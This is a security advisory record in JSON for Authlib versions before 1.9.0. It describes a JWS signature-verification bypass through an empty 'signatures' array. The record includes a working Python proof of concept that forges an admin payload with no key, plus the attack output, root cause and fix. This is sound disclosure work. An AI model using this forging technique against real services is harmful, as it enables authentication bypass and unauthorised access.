{"id":"GHSA-6v38-4h7w-rj9h","summary":"Authlib: empty signatures validation in JWS JSON deserialization","details":"Authlib (prior to 1.9.0) contains a signature verification bypass vulnerability. The JsonWebSignature.deserialize_json() method accepts a JSON Serialization JWS object and returns the payload as successfully verified without checking for a signature and without requiring a cryptographic key.\n\n## Root cause\n\n`authlib/jose/rfc7515/jws.py`, read on the installed 1.8.0 artifact:\n\n```python\nis_valid = True                        # set before anything is checked\nfor header_obj in obj[\"signatures\"]:   # empty array means the body never runs\n    jws_header, valid = self._validate_json_jws(...)\n    if not valid:\n        is_valid = False\n...\nif is_valid:\n    return rv                          # returns the payload as verified\n```\n\n`is_valid` is initialised to `True` and only ever set to `False` from inside the loop. A JWS JSON\nSerialization object whose `signatures` array is empty iterates zero times, so the flag survives and\nthe payload is returned as successfully verified. No key is consulted, because no signature is\nexamined.\n\n## Reproduction\n\n```python\nimport base64\nfrom authlib.jose import JsonWebSignature\n\ndef b64(b):\n    return base64.urlsafe_b64encode(b).rstrip(b\"=\").decode()\n\njws = JsonWebSignature()\npayload = b'{\"sub\":\"attacker\",\"role\":\"admin\"}'\nforged = {\"payload\": b64(payload), \"signatures\": []}\n\nprint(jws.deserialize_json(forged, key=None))\n```\n\nObserved on authlib 1.8.0, Python 3.14, clean virtualenv:\n\n```\n[A] ATTACK   general JSON, signatures:[] , key=None\n    ACCEPTED  -\u003e {'header': [], 'payload': b'{\"sub\":\"attacker\",\"role\":\"admin\"}'}\n[B] ATTACK   general JSON, signatures:[] , key=\u003creal key\u003e\n    ACCEPTED  -\u003e {'header': [], 'payload': b'{\"sub\":\"attacker\",\"role\":\"admin\"}'}\n[C] CONTROL+ genuine general JSON with 2 signatures, right key\n    ACCEPTED (expected) payload= b'{\"sub\":\"attacker\",\"role\":\"admin\"}'\n[D] CONTROL- same object, first signature corrupted\n    rejected (expected): BadSignatureError bad_signature:\n[E] CONTROL- signatures array removed entirely (not empty, absent)\n    rejected: DecodeError Missing \"protected\" value:\n```\n\n[C] proves the verifier works normally on a genuine object, so a deployment looks healthy. [D] proves\ntampering is caught. [E] proves this is specifically the empty-array case and not a general\nmissing-member bug. [A] and [B] are the bypass, and [B] shows that holding the correct key does not\nsave a caller: the empty array is accepted either way.\n\nFor comparison, joserfc 1.7.5, the library this module's deprecation warning points users to, rejects\nthe identical object with `BadSignatureError`. The correct behaviour already exists in your newer\nlibrary.\n\n## Impact\n\nAny relying party that calls `JsonWebSignature.deserialize_json()` on input it did not produce will\naccept an attacker-authored payload as signed. Where that payload carries identity or authorisation\nclaims, this is a complete authentication bypass by an unauthenticated remote caller with no key\nmaterial. \n\n## What would fix it\n\nIn `_deserialize_json`, reject an empty `signatures` array before the loop, or initialise the flag\nfrom the signature count, for example `is_valid = len(obj[\"signatures\"]) \u003e 0`. Pull request #938\nproposes the same thing.","aliases":["CVE-2026-96760"],"modified":"2026-10-27T15:00:05.448675412Z","published":"2026-10-27T14:50:18Z","database_specific":{"cwe_ids":["CWE-347"],"severity":"CRITICAL","github_reviewed":true,"github_reviewed_at":"2026-10-27T14:50:18Z","nvd_published_at":null},"references":[{"type":"WEB","url":"https://github.com/authlib/authlib/security/advisories/GHSA-6v38-4h7w-rj9h"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-96760"},{"type":"WEB","url":"https://github.com/authlib/authlib/pull/938"},{"type":"WEB","url":"https://github.com/authlib/authlib/commit/6c11a02da8730914cea08ec195f1108a40dc6733"},{"type":"PACKAGE","url":"https://github.com/authlib/authlib"},{"type":"WEB","url":"https://github.com/authlib/authlib/releases/tag/v1.9.0"},{"type":"WEB","url":"https://kb.cert.org/vuls/id/762428"},{"type":"WEB","url":"https://www.kb.cert.org/vuls/id/762428"}],"affected":[{"package":{"name":"authlib","ecosystem":"PyPI","purl":"pkg:pypi/authlib"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.9.0"}]}],"versions":["0.1","0.10","0.11","0.12","0.12.1","0.13","0.14","0.14.1","0.14.2","0.14.3","0.15","0.15.1","0.15.2","0.15.3","0.15.4","0.15.5","0.15.6","0.1rc0","0.2","0.2.1","0.3","0.4","0.4.1","0.5","0.5.1","0.6","0.7","0.8","0.9","1.0.0","1.0.0a1","1.0.0a2","1.0.0b1","1.0.0b2","1.0.0rc1","1.0.1","1.1.0","1.2.0","1.2.1","1.3.0","1.3.1","1.3.2","1.4.0","1.4.1","1.5.0","1.5.1","1.5.2","1.6.0","1.6.1","1.6.10","1.6.11","1.6.12","1.6.2","1.6.3","1.6.4","1.6.5","1.6.6","1.6.7","1.6.8","1.6.9","1.7.0","1.7.1","1.7.2","1.8.0"],"database_specific":{"last_known_affected_version_range":"\u003c= 1.8.0","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-6v38-4h7w-rj9h/GHSA-6v38-4h7w-rj9h.json"}}],"schema_version":"1.9.2","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N"}]}